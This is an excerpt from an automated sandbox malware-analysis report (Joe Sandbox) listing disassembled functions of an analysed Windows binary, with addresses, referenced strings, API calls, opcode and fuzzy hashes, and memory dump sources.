Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: a4cc0e8a2f7e024105bf8074fef1866164229a93701b52dcf00f6f20498becf3
Instruction ID: 97f2b2aa30890fb174f5f9057559e6e4c03ee0c959cdf2483f91ba3f0d32cc21
Opcode Fuzzy Hash: a4cc0e8a2f7e024105bf8074fef1866164229a93701b52dcf00f6f20498becf3
Instruction Fuzzy Hash: D5B16B73A04B89CAEB55CF29C8863687BA0F744B4CF198931DA6D877A8CB39D451C750

Function 00007FF7F3DE39A4 Relevance: 2.8, Strings: 2, Instructions: 350COMMON

Download Yara Rule

Strings

, xrefs: 00007FF7F3DE3B12
, xrefs: 00007FF7F3DE3D54

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-227171996
Opcode ID: e57f1980f4491aea9eb328a1e81193c2bccc9a7e68d1918bb9b7207cf9600634
Instruction ID: 119c4383384ceab78ce588ad8f55242fff4ad3ab0a2f563b67a4e13e16b1a95c
Opcode Fuzzy Hash: e57f1980f4491aea9eb328a1e81193c2bccc9a7e68d1918bb9b7207cf9600634
Instruction Fuzzy Hash: 18E1C972A0864681D7ACAF95C05013DBB60FF44B48F944335DA2E2B7D4DF29E8D1C792

Function 00007FF7F3DDA2DB Relevance: 2.7, Strings: 2, Instructions: 218COMMON

Download Yara Rule

Strings

invalid window size, xrefs: 00007FF7F3DDA449
incorrect header check, xrefs: 00007FF7F3DDA462

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID:
String ID: incorrect header check$invalid window size
API String ID: 0-900081337
Opcode ID: e8ec78490181e4ccec650f854842bb3e08bcfae3bf2db5596c2af0d8e2ff5899
Instruction ID: 909e5711ae91f7e7bb87fb40fc8419465e895f5c02befe174f1fbee281e6d8b5
Opcode Fuzzy Hash: e8ec78490181e4ccec650f854842bb3e08bcfae3bf2db5596c2af0d8e2ff5899
Instruction Fuzzy Hash: 7391DBB2A182C587E7E49F54C448B3E7AADFF44354F418139DA5A5A7C0CB3CE940CB90

Function 00007FF7F3DEDEF0 Relevance: 2.6, Strings: 2, Instructions: 144COMMON

Download Yara Rule

Strings

gfff, xrefs: 00007FF7F3DEE07A
e+000, xrefs: 00007FF7F3DEDFFD

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID:
String ID: e+000$gfff
API String ID: 0-3030954782
Opcode ID: c8a24eaff8c968987b4d031b15ae93849e98bcf9eddb8930961e84febef9b5bc
Instruction ID: d09b78aa94845c18feb48d9aa9067321da86747a164519f118f2e6a888e38c1b
Opcode Fuzzy Hash: c8a24eaff8c968987b4d031b15ae93849e98bcf9eddb8930961e84febef9b5bc
Instruction Fuzzy Hash: 6F515662B182C186E7A9DE759810769AF91E744B94F888331CBBC4FBC5CE7DD4808762

Function 00007FF7F3DEDA5C Relevance: 1.5, Strings: 1, Instructions: 254COMMON

Download Yara Rule

Strings

gfffffff, xrefs: 00007FF7F3DEDD9E

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID:
String ID: gfffffff
API String ID: 0-1523873471
Opcode ID: bcab6200947a377332474fa44b4677218d40dcace4b26705986274372b0e4f91
Instruction ID: 72c41dc383aa084c2445dd37dfb8b456688385d1accf9e97987e75410dbe7ad7
Opcode Fuzzy Hash: bcab6200947a377332474fa44b4677218d40dcace4b26705986274372b0e4f91
Instruction Fuzzy Hash: 3FA19822B087CA8AEB69DF65A0007A9BB90EB54BC4F408231DE6D5B7C5DE3DD441C362

Function 00007FF7F3DE8794 Relevance: 1.4, Strings: 1, Instructions: 177COMMON

Download Yara Rule

Strings

TMP, xrefs: 00007FF7F3DE87B3

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: TMP
API String ID: 3215553584-3125297090
Opcode ID: 55bfb0711aaa24fc3f3c49a17a094aed8874a1becd77c64581317e125ecb5b45
Instruction ID: fef1e7e29bfeab74891baf1a7509f2bc6dab31087e0e94af3d60ed6b58e7d0de
Opcode Fuzzy Hash: 55bfb0711aaa24fc3f3c49a17a094aed8874a1becd77c64581317e125ecb5b45
Instruction Fuzzy Hash: 0C51AF41F0864341FBACB6A6695117ADA906F44FD4FC84234DE3E6F7D6EE3CE48142A2

Function 00007FF7F3DF3480 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF7F3DF3484

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 1f9e0516fd534d967cb731c121838b59470578846d262458ea046ba55ab40ebf
Instruction ID: 0bdb1d588c16533388a992f0c83006ada29d3a2ba2fe3e31b932aefb5a8fdd37
Opcode Fuzzy Hash: 1f9e0516fd534d967cb731c121838b59470578846d262458ea046ba55ab40ebf
Instruction Fuzzy Hash: D4B09220E07A02C2EB883B616CC2218A2A47F68710FD80178C46D68370DE2C21E597A0

Function 00007FF7F3DE35A0 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5eca4e5ff3e7205525bf20f3b63783aa462e3e7adb0228d62bb7e98ab9f5e9bb
Instruction ID: 84db886a7d81b801591252f4578ee71e944f7c56f360401b32549a26f55bc591
Opcode Fuzzy Hash: 5eca4e5ff3e7205525bf20f3b63783aa462e3e7adb0228d62bb7e98ab9f5e9bb
Instruction Fuzzy Hash: F9D1EB72A0864245EBECAE65844023DBBA0EF45B48F940339CD2D2B7D5CF3DD885D7A2

Function 00007FF7F3DD9800 Relevance: .3, Instructions: 287COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e75d751cc15dfd510e55d83c6141b0e8cb11d18cbed01e0c543b372a0114c593
Instruction ID: 2b95364da92b26a795d57a21af260ce14cf31a4e46a9d3cecbb58fc1d7c11632
Opcode Fuzzy Hash: e75d751cc15dfd510e55d83c6141b0e8cb11d18cbed01e0c543b372a0114c593
Instruction Fuzzy Hash: 06C18D762181E08BD28AEB29E46947A73E1F78930DBD5806BEF87477C5C63CA414DB60

Function 00007FF7F3DE2C10 Relevance: .2, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa73bfa000bc8cd66a05f12d530b76a597660d7bda6a6781f52cf2f49ffced0b
Instruction ID: 8796c4775724102ea6b4711c764cd178ce622ec9e778fbf941e1b96070d76eba
Opcode Fuzzy Hash: aa73bfa000bc8cd66a05f12d530b76a597660d7bda6a6781f52cf2f49ffced0b
Instruction Fuzzy Hash: 11B17E72908B5585E7A8AF69C05013CBFA0E749F48FA40235CB5E6B3D5CF39D481C7A6

Function 00007FF7F3DEE570 Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9611c2e0762efa78d7f6da3d8515592aa8d86601c49200b7335873453b670326
Instruction ID: 9ec7a50326e72c648eb3da816bd299455c310c6075a27c717bb2fe826acadd27
Opcode Fuzzy Hash: 9611c2e0762efa78d7f6da3d8515592aa8d86601c49200b7335873453b670326
Instruction Fuzzy Hash: 11812672A0878146D7B8EF59908037ABE91FB45794F804339DAAD1BBC5DF7CD4808B51

Function 00007FF7F3DF6418 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 21aaab296e2e64a79b20cf98ea2699a9ab0529386423cc159892306e5cd43e00
Instruction ID: d19ecf6a07694de92a970829b8ee1b19c68cf4303948c21a4eb42eb575a46c9b
Opcode Fuzzy Hash: 21aaab296e2e64a79b20cf98ea2699a9ab0529386423cc159892306e5cd43e00
Instruction Fuzzy Hash: 29611822E0C25246F7E4AAF8949063CE684AF40760FD44239D63D6FFCDDE6DE84087A0

Function 00007FF7F3DE2164 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e69dfdcc94a0aa650623f7423aa354004c1f2fa01d5c1268249020d4c21f447
Instruction ID: fc0465b5dfed097d5d6809c1a56a267393387fb7df778b350a16f40333f69d87
Opcode Fuzzy Hash: 8e69dfdcc94a0aa650623f7423aa354004c1f2fa01d5c1268249020d4c21f447
Instruction Fuzzy Hash: 3651DB36A1865181E7A8AB69C44023C7BA1FB54B68F644331CE5C2B7D4CF3AE983C7D1

Function 00007FF7F3DE1944 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68a3f5aab59b2fac328bd6ba34d5b1cd1fa94c6914f84dc4a79da3b9d8ff9a98
Instruction ID: 8f2a1c24a7a6ed98ca014aa88bec463153c1d256d51793798b21af49a040e540
Opcode Fuzzy Hash: 68a3f5aab59b2fac328bd6ba34d5b1cd1fa94c6914f84dc4a79da3b9d8ff9a98
Instruction Fuzzy Hash: 9651B976B1465181E7A89B69C44023CBBA4FB45B58F644331CEAD2B7D4CB3AE883C7D1

Function 00007FF7F3DE1D54 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27099d1c67046ba5536a5c52bb1b19252402c8bb4a5167aa336477e7b6d5f807
Instruction ID: 0ddb65b8b603693cf271af245056839ea470e22eb88f36632d461e39dcaa57c7
Opcode Fuzzy Hash: 27099d1c67046ba5536a5c52bb1b19252402c8bb4a5167aa336477e7b6d5f807
Instruction Fuzzy Hash: 5751B936B1865181E7A89B69C0402387BA4EB45F58F644331DE5D2B7D4CB3AE893C7D1

Function 00007FF7F3DE1B50 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc981bf603441a130e1c6ba5e96f77be0c3c60e19ec03e3d560a09712d731568
Instruction ID: d764abf1786bbe43ee9caf652a1e4465538d1e3835f1f3430cee5c7059a1cc68
Opcode Fuzzy Hash: dc981bf603441a130e1c6ba5e96f77be0c3c60e19ec03e3d560a09712d731568
Instruction Fuzzy Hash: 2E51D432B1865181E7A99F68C04023CABA4EB45B58FA44231DE5C6B7D4DF3AE8C3C791

Function 00007FF7F3DE1F60 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e734bc54909bdf7d9c6fd1772be64da5dc64d4f5bf3044a39ac3ba7850561882
Instruction ID: 271c10446fef1b8845aa402920efc6e731eb1477bb5d029139dc478852c93668
Opcode Fuzzy Hash: e734bc54909bdf7d9c6fd1772be64da5dc64d4f5bf3044a39ac3ba7850561882
Instruction Fuzzy Hash: 5251A537B1865585E7A8AB69C050338BBA0EB44F58F644231CE5C2B7D5CB3AE893C7D1

Function 00007FF7F3DE1740 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3943df286285c50b07f09d339b53caaa0afa34ddfac4fad96d8a3f7ffd6ad23b
Instruction ID: 22bcf95fcafdd8953d5149a49afe1526d642d8a63037afb593aa63944b2e6a11
Opcode Fuzzy Hash: 3943df286285c50b07f09d339b53caaa0afa34ddfac4fad96d8a3f7ffd6ad23b
Instruction Fuzzy Hash: C451C636B1865181E7A8AB69C040238BBA5EB45F58F644231CE5D2B7D4CF3AEC83C7D1

Function 00007FF7F3DE5D30 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
Instruction ID: cae257b52e8612174e525b5274c84ca7c84b6a3ca155eed4536c677ec6b2967a
Opcode Fuzzy Hash: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
Instruction Fuzzy Hash: D241836280978E05EBED99D80524674AE829F12BE0F981374DDB97F3C3C90DE5C68262

Function 00007FF7F3DE9EA0 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 1c7003d4bfacf113f63307708dabd17e5ede6cda44dccf6aa27d02a6b9ea0481
Instruction ID: 1ff1c62d222bb2ad9b95b14c477e20b6bca722301d51f24271b91997921df612
Opcode Fuzzy Hash: 1c7003d4bfacf113f63307708dabd17e5ede6cda44dccf6aa27d02a6b9ea0481
Instruction Fuzzy Hash: FF415CB2714E4582EF48DF66DA14169B391FB48FD0B899032DE1DAFB98DE3CC4418340

Function 00007FF7F3DE80E4 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b8cddb4ee5dd57f1c7573491c8f445712dd312cb7e9e547cfd0f9c072f4c0c7
Instruction ID: 914d8d71d4d5291e5f6e1b6c762807e1073d0a7b168b6c4ae57decca4085c48a
Opcode Fuzzy Hash: 2b8cddb4ee5dd57f1c7573491c8f445712dd312cb7e9e547cfd0f9c072f4c0c7
Instruction Fuzzy Hash: AF31F632B08B4241E7A8AF65A88013DFAD4AF85BD0F944338EA6D6BBD5DF3CD0418755

Function 00007FF7F3DF9570 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

